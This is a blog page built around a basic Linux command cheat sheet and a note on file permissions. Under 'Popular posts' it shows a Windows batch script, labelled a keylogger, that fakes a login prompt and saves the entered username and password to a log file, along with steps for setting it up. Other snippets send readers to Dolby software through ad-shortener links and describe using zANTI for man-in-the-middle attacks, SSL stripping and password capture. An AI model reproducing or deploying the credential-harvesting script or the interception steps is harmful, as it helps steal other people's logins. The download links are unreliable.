Skip to main content

Cheat sheet for linux

mkdir – make directories
Usage: mkdir [OPTION] DIRECTORY…
eg. mkdir lhnls – list directory contents
Usage: ls [OPTION]… [FILE]…
eg. ls, ls ­l, ls lhncd – changes directories
Usage: cd [DIRECTORY]
eg. cd lhnpwd ­-  print name of current working directory
Usage: pwdvim – Vi Improved, a programmers text editor
Usage: vim [OPTION] [file]…
eg. vim lhn.txtcp – copy files and directories
Usage: cp [OPTION]… SOURCE DEST
eg. cp sample.txt sample_copy.txt
cp sample_copy.txt target_dirmv – move (rename) files
Usage: mv [OPTION]… SOURCE DEST
eg. mv source.txt target_dir
mv old.txt new.txtrm ­ remove files or directories
Usage: rm [OPTION]… FILE…
eg. rm file1.txt , rm ­rf some_dirfind – search for files in a directory hierarchy
Usage: find [OPTION] [path] [pattern]
eg. find file1.txt, find ­name file1.txthistory – prints recently used commands
Usage: historycat – concatenate files and print on the standard output
Usage: cat [OPTION] [FILE]…
eg. cat file1.txt file2.txt
cat ­n file1.txtecho – display a line of text
Usage: echo [OPTION] [string] …
eg. echo I love India
echo $HOMEgrep ­- print lines matching a pattern
Usage: grep [OPTION] PATTERN [FILE]…
eg. grep ­i apple sample.txt wc ­- print the number of newlines, words, and bytes in files
Usage: wc [OPTION]… [FILE]…
eg.  wc file1.txt
wc ­L file1.txtsort – sort lines of text files
Usage: sort [OPTION]… [FILE]…
eg. sort file1.txt
sort ­r file1.txttar – to archive a file
Usage: tar [OPTION] DEST SOURCE
eg. tar ­cvf /home/archive.tar /home/original
tar ­xvf /home/archive.tarkill – to kill a process(using signal mechanism)
Usage: kill [OPTION] pid
eg. kill ­9 2275ps – report a snapshot of the current processes
Usage: ps [OPTION]
eg. ps,  ps ­elwho – show who is logged on
Usage: who [OPTION]
eg. who , who ­b , who ­qpasswd – update  a user’s authentication tokens(s)
Usage: passwd [OPTION]
eg. passwd su –  change user ID or become super­user
Usage: su [OPTION] [LOGIN]
eg. su remo, suchown – change file owner and group
Usage: chown [OPTION]… OWNER[:[GROUP]] FILE…
eg. chown remo myfile.txtchmod – change file access permissions
Usage: chmod [OPTION] [MODE] [FILE]
eg. chmod 744 calculate.shzip – package and compress (archive) files
Usage: zip [OPTION] DEST SOURSE
eg. zip original.zip originalunzip – list, test and extract compressed files in a ZIP archive
Usage: unzip filename
eg. unzip original.zissh – SSH client (remote login program)
“ssh is a program for logging into a remote machine and for
executing commands on a remote machine”
Usage: ssh [options] [user]@hostname
eg. ssh ­X guest@10.105.11.20scp – secure copy (remote file copy program)
“scp copies files between hosts on a network”
Usage: scp [options] [[user]@host1:file1] [[user]@host2:file2]
eg. scp file1.txt guest@10.105.11.20:~/Desktop/fdisk – partition manipulator
eg. sudo fdisk ­lmount – mount a file system
Usage: mount ­t type device dir
eg. mount /dev/sda5 /media/targetumount – unmount file systems
Usage: umount [OPTIONS] dir | device…
eg.  umount /media/targetdu – estimate file space usage
Usage:  du [OPTION]… [FILE]…
eg. dudf – report filesystem disk space usage
Usage: df [OPTION]… [FILE]…
eg. dfquota – display disk usage and limits
Usage: quota [OPTION]
eg. quota ­vreboot – reboot the system
Usage: reboot [OPTION]
eg. rebootpoweroff – power off the system
Usage: poweroff [OPTION]
eg. poweroffkate – KDE Advanced Text Editor
Usage:  kate [options][file(s)]
eg. kate file1.txt file2.txtvim – Vi Improved, a programmers text editor
Usage: vim [OPTION] [file]…
eg. vi hello.cgedit ­ A text Editor. Used to create and edit files.
Usage: gedit [OPTION] [FILE]…
eg. geditbg – make a foreground process to run in background
Usage: type ‘ctrl+z’  and then ‘bg ‘fg – to make background process as foreground process
Usage: fg [jobid]jobs – displays the names and ids of background jobs
Usage: jobssed ­  stream editor for filtering and transforming text
Usage: sed [OPTION] [input­file]…
eg. sed ‘s/love/hate/g’ loveletter.txtawk ­ pattern scanning and processing language
eg.  awk ­F: ‘{ print $1 }’ sample_awk.txtfind ­ search for files in a directory hierarchy
Usage: find [OPTION] [path] [pattern]
eg. find ­name file1.txtlocate – find or locate a file
Usage: locate [OPTION]… FILE…
eg. locate file1.txt

Related  Here is How You Can Encrypt your Facebook messages using Secret Conversations

Linux File Permissions

3 types of file permissions – read, write, execute10 bit format from ‘ls ­l’ command
1             2 3 4      5 6 7     8 9 10
file type    owner     group    others
eg. drwxrw­r­­   means owner has all three permissions,
group has read and write, others have only read
permissionread permission – 4, write – 2, execute ­1
eg. rwxrw­r­­   = 764
673    =   rw­rwx­wx

Comments

Popular posts from this blog

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file will be in there, [if you make a second entry, the

get dolby atmos free on your PC

Welcome to my blog today i am here with very important item for your DDOOLLBBYY Atmos Everyone  or (at least geeks) knows  about the power of Dolby atmos we used to know that dolby atmos was only available for select PC only well not anymore from this link you can get in any pc note:  after installing dolby atmos install dolby access from https://dw27.malavida.com/dwn/8bdf73315506600b39e53dedb7616c896cc3811b629894bbe0bc994820b8af75/DolbyAccess.appx    and son't update from window store ..    just don't update it links http://gestyy.com/w2mDPI for dolby atmos   http://gestyy.com/w2mDKi  for device  driver ' http://gestyy.com/w2mDCF   for dolby atmos for gaming http://gestyy.com/w2mDN7    for dolby gaming driver if you  have any question feel free to comment

use zantu on android

Zanti 2 is a android application which is made up for network penetration testing. What Zanti 2 can do? Scan the whole network show alive host in the network scan port through Nmap for port Scanning Scan Service on each port and find vulnerability. Perform Brute force Attack Perform Shell Shock etc Vulnerability MITM : Man In The Middle Attack Session Hijackings SSL Striping Sniffing Packets Replace Image Redirect URL and IP Intercept and modified live download. Disclaimer –  I recommend that you test this tutorial on a system that belongs to YOU.   For Demonstration : Before  install Zanti your Phone must be rooted  .. In case your phone is not rooted search in the site you will find how to root android its very easy. I used Zanti in my android device and Scan the network. I choose the Mac OSx Machine which was my laptop. After that start The MITM on and SSL strip to grab some packets and try to grab the password of that machine. in the end i successfully travel the